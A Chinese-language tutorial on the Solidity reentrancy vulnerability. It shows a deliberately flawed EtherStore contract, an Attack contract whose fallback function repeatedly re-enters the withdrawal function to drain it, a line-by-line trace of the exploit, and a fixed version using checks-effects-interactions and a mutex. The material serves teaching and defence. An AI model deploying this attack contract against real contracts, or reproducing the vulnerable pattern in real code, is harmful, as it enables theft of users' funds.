本文通过编写一个有漏洞的合约,分析如何攻击、预防并修复漏洞
本文通过编写一个有漏洞的合约,分析如何攻击、预防并修复漏洞
Source: Undraw
以太坊智能合约的一个特点——可以调用和利用来自外部合约的代码。
合约通常要处理ether,经常会转移ether到各种外部用户地址。这些操作需要合约提交外部调用。这些外部调用可能被攻击者劫持,从而强制合约执行进一步的代码(通过fallback函数),包括调用自己。
这种攻击被用于臭名昭著的DAO攻击。
当合约把ether转移到一个未知地址时,可能会发生这种类型的攻击。攻击者可能在外部地址构建合约,在fallback函数中加入恶意代码。
因此,当一个合约向这个地址发送ether时,就会执行恶意代码。通常,恶意代码会在有漏洞的合约上执行一个函数,做一些开发者不希望的操作。
重入(reentrancy)这个词就来自外部恶意合约在有漏洞的合约调用函数,并且重新执行代码路径。
为了更清楚一点,我们看一个简单的有漏洞的合约EtherStore.sol
,它是一个以太坊资金库,储户一个星期只能提取 1 ether:
contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() external payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
-EtherStore.sol-
这个合约有两个public函数,depositFunds
和withdrawFunds
。
depositFunds
函数只是简单的增加储户的余额。
withdrawFunds
函数允许发送者指定要提取多少wei
。
这个函数只在请求的取款小于等于 1 ether并且一个星期内没有取款的情况下才会成功。
漏洞在17行,在这里合约向储户发送请求的ether。
假设攻击者创建了一个攻击合约Attack.sol
:
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// intialize the etherStore variable with the contract address
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function attackEtherStore() external payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1 ether)();
// start the magic
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
// fallback function - where the magic happens
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
-Attack.sol-
怎样利用漏洞?
首先,攻击者可以创建恶意合约(假设地址为0x0… 123
),将EtherStore
的合约地址作为唯一的构造函数参数。
这将把public变量etherStore
初始化并指向被攻击合约。
然后攻击者将用大于等于1的一定数量的ether(暂时假设为1 ether)来调用attackEtherStore
函数。
在这个例子中,我们还将假设许多其他用户已经在合约中存了ether,比如,合约当前的余额是10 ether。可能会出现下面的情况:
Attack.sol
15行: 用1 ether的msg.value
(和大量gas)调用EtherStore
合约的depositFunds
函数。发送者(msg.sender
)是恶意合约(0x0… 123
),balances[0x0..123] = 1 ether
Attack.sol
17行: 恶意合约调用EtherStore
合约的withdrawFunds
函数,参数为1 ether。这会绕过所有要求(EtherStore
合约的12-16行),因为之前没有发生过取款。EtherStore.sol
17行: 向恶意合约发回1 ether。Attack.sol
25行: 向恶意合约的支付触发执行fallback函数。Attack.sol
26行: EtherStore
合约的总余额为10 ether,现在是9 ether,所以这个if语句通过了。Attack.sol
27行: fallback函数再次调用EtherStore
的withdrawFunds
函数,重新进入EtherStore
合约。EtherStore.sol
11行: 第二次对withdrawFunds
调用,攻击合约存储的余额仍然是 1 ether,因为第18行代码还没有执行。因此我们仍然有balances[0x0..123] = 1 ether
。lastWithdrawTime
变量也是如此。再次,绕过了所有的请求。EtherStore.sol
17行:攻击合约再次提取 1 ether。EtherStore.balance > 1
, 如Attack.sol
合约第26行那样。Attack.sol
26行: 一旦EtherStore
合约只有1 ether(或者更少),这个if语句就会执行失败。然后,EtherStore
合约的18、19行就会执行(对每次withdrawFunds
函数的调用)。EtherStore.sol
18、19行: 设置余额与lastWithdrawTime
的映射,并且执行结束。最后的结果是,除了1 ether不能提取,攻击者一笔交易从EtherStore
合约提取了其他所有ether。
有很多常用技术可以帮助我们在合约中避免潜在的重入漏洞。
第一个就是在向外部合约发送ether时(尽可能)使用内置的transfer函数。transfer函数在外部调用时只发送 2300 gas,这不足以让目标地址/合约调用另一个合约(即,重入发送合约)。
第二种技术是确保所有修改状态变量的逻辑都发生在ether发出合约之前(或者任何外部调用之前)。在EtherStore
的实例中,18、19行应该放在17行之前。
在本地函数或者代码执行片段中,对未知地址的外部调用最好是最后一步操作。这叫做check-effect交互模式。
第三种技术是引入一个互斥——即,添加一个状态变量在代码执行期间锁定合约,组织重入调用。
在EtherStore.sol
中使用这些技术(实际并不需要把三种都用上,这里是为了演示),就是下面的防重入合约:
contract EtherStore {
// initialize the mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() external payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(!reEntrancyMutex);
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
// set the reEntrancy mutex before the external call
reEntrancyMutex = true;
msg.sender.transfer(_weiToWithdraw);
// release the mutex after the external call
reEntrancyMutex = false;
}
}
-EtherStore.sol-
DAO(Decentralized Autonomous Organization)攻击是早期以太坊开发中发生的主要黑客攻击之一。
当时,合约金额超过1.5亿美元。重入攻击导致了产生了以太坊经典(ETC)的硬分叉。关于DAO漏洞利用的分析,请看这里。
有关以太坊分叉历史、DAO 黑客时间表以及硬分叉中 ETC 诞生的更多信息,请参见 (ethereum_standards)。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!